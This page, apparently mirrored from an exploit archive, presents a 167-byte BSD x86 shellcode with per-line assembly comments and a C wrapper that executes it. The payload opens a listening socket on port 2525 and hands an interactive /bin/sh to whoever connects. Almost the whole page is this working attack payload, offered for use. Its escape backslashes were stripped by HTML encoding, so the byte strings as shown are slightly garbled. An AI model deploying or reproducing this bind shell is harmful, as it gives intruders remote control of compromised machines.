Home / os / win7

bds/x86 bindshell on port 2525 shellcode 167 bytes

Posted on 23 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>bds/x86 bindshell on port 2525 shellcode 167 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================
bds/x86-bindshell on port 2525 shellcode 167 bytes
==================================================


 /*
 -------------- bds/x86-bindshell on port 2525 167 bytes -------------------------
 *  AUTHOR : beosroot
 *   OS    : BSDx86 (Tested on FreeBSD)
 *   EMAIL : beosroot@hotmail.fr
             beosroot@null.net
 *  GR33TZ To : joseph-h, str0ke, MHIDO55,.....
 */ 
 
const char shellcode[] =
    &quot;x6ax00&quot;                  // push   $0x0
    &quot;x6ax01&quot;                  // push   $0x1
    &quot;x6ax02&quot;                  // push   $0x2
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax61&quot;                  // push   $0x61
    &quot;x58&quot;                      // pop    %eax
    &quot;xcdx80&quot;                  // int    $0x80
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax00&quot;                  // push   $0x0
    &quot;x6ax00&quot;                  // push   $0x0
    &quot;x6ax00&quot;                  // push   $0x0
    &quot;x6ax00&quot;                  // push   $0x0
    &quot;x68x10x02x09xdd&quot;      // push   $0xdd090210
    &quot;x89xe0&quot;                  // mov    %esp,%eax
    &quot;x6ax10&quot;                  // push   $0x10
    &quot;x50&quot;                      // push   %eax
    &quot;xffx74x24x1c&quot;          // pushl  0x1c %esp
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax68&quot;                  // push   $0x68
    &quot;x58&quot;                      // pop    $eax
    &quot;xcdx80&quot;                  // int    $0x80
    &quot;x6ax01&quot;                  // push   $0x1
    &quot;xffx74x24x28&quot;          // pushl  0x28 %esp
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax6a&quot;                  // push   $0x6a
    &quot;x58&quot;                      // pop    $eax
    &quot;xcdx80&quot;                  // int    $0x80
    &quot;x83xecx10&quot;              // sub    $0x10,$esp
    &quot;x6ax10&quot;                  // push   $0x10
    &quot;x8dx44x24x04&quot;          // lea    0x4%esp,%eax
    &quot;x89xe1&quot;                  // mov    %esp,%ecx
    &quot;x51&quot;                      // push   %ecx
    &quot;x50&quot;                      // push   %eax
    &quot;xffx74x24x4c&quot;          // pushl  0x4c %esp
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax1e&quot;                  // push   %0x1e
    &quot;x58&quot;                      // pop    %eax
    &quot;xcdx80&quot;                  // int    $0x80
    &quot;x50&quot;                      // push   %eax
    &quot;xffx74x24x58&quot;          // pushl  0x58 %esp
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax06&quot;                  // push   $0x6
    &quot;x58&quot;                      // pop    %eax
    &quot;xcdx80&quot;                  // int    $0x80
    &quot;x6ax00&quot;                  // push   $0x0
    &quot;xffx74x24x0c&quot;          // pushl  0xc %esp
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax5a&quot;                  // push   $0x5a
    &quot;x58&quot;                      // pop    %eax
    &quot;xcdx80&quot;                  // int    $0x80
    &quot;x6ax01&quot;                  // push   $0x1
    &quot;xffx74x24x18&quot;          // pushl  0x18 %esp
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax5a&quot;                  // push   $0x5a
    &quot;x58&quot;                      // pop    %eax
    &quot;xcdx80&quot;                  // int    $0x80
    &quot;x6ax02&quot;                  // push   $0x2
    &quot;xffx74x24x24&quot;          // pushl  0x24 %esp
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax5a&quot;                  // push   $0x5a
    &quot;x58&quot;                      // pop    %eax
    &quot;xcdx80&quot;                  // int    $0x80
    &quot;x68x73x68x00x00&quot;      // push   $0x6873
    &quot;x89xe0&quot;                  // mov    %esp,%eax
    &quot;x68x2dx69x00x00&quot;      // push   $0x692d
    &quot;x89xe1&quot;                  // mov    %esp,%ecx
    &quot;x6ax00&quot;                  // push   $0x0
    &quot;x51&quot;                      // push   %ecx
    &quot;x50&quot;                      // push   %eax
    &quot;x68x2fx73x68x00&quot;      // push   $0x68732f
    &quot;x68x2fx62x69x6e&quot;      // push   $0x6e69622f
    &quot;x89xe0&quot;                  // mov    %esp,%eax
    &quot;x8dx4cx24x08&quot;          // lea    0x8 %esp,%ecx
    &quot;x6ax00&quot;                  // push   $0x0
    &quot;x51&quot;                      // push   %ecx
    &quot;x50&quot;                      // push   %eax
    &quot;x50&quot;                      // push   %eax
    &quot;x6ax3b&quot;                  // push   $0x3b
    &quot;x58&quot;                      // pop    %eax
    &quot;xcdx80&quot;;                 // int    $0x80
 
int main() {

    void (*hell)() = (void *)shellcode;
    return (*(int(*)())shellcode)();

} 



// the end o.O




]


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-23]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :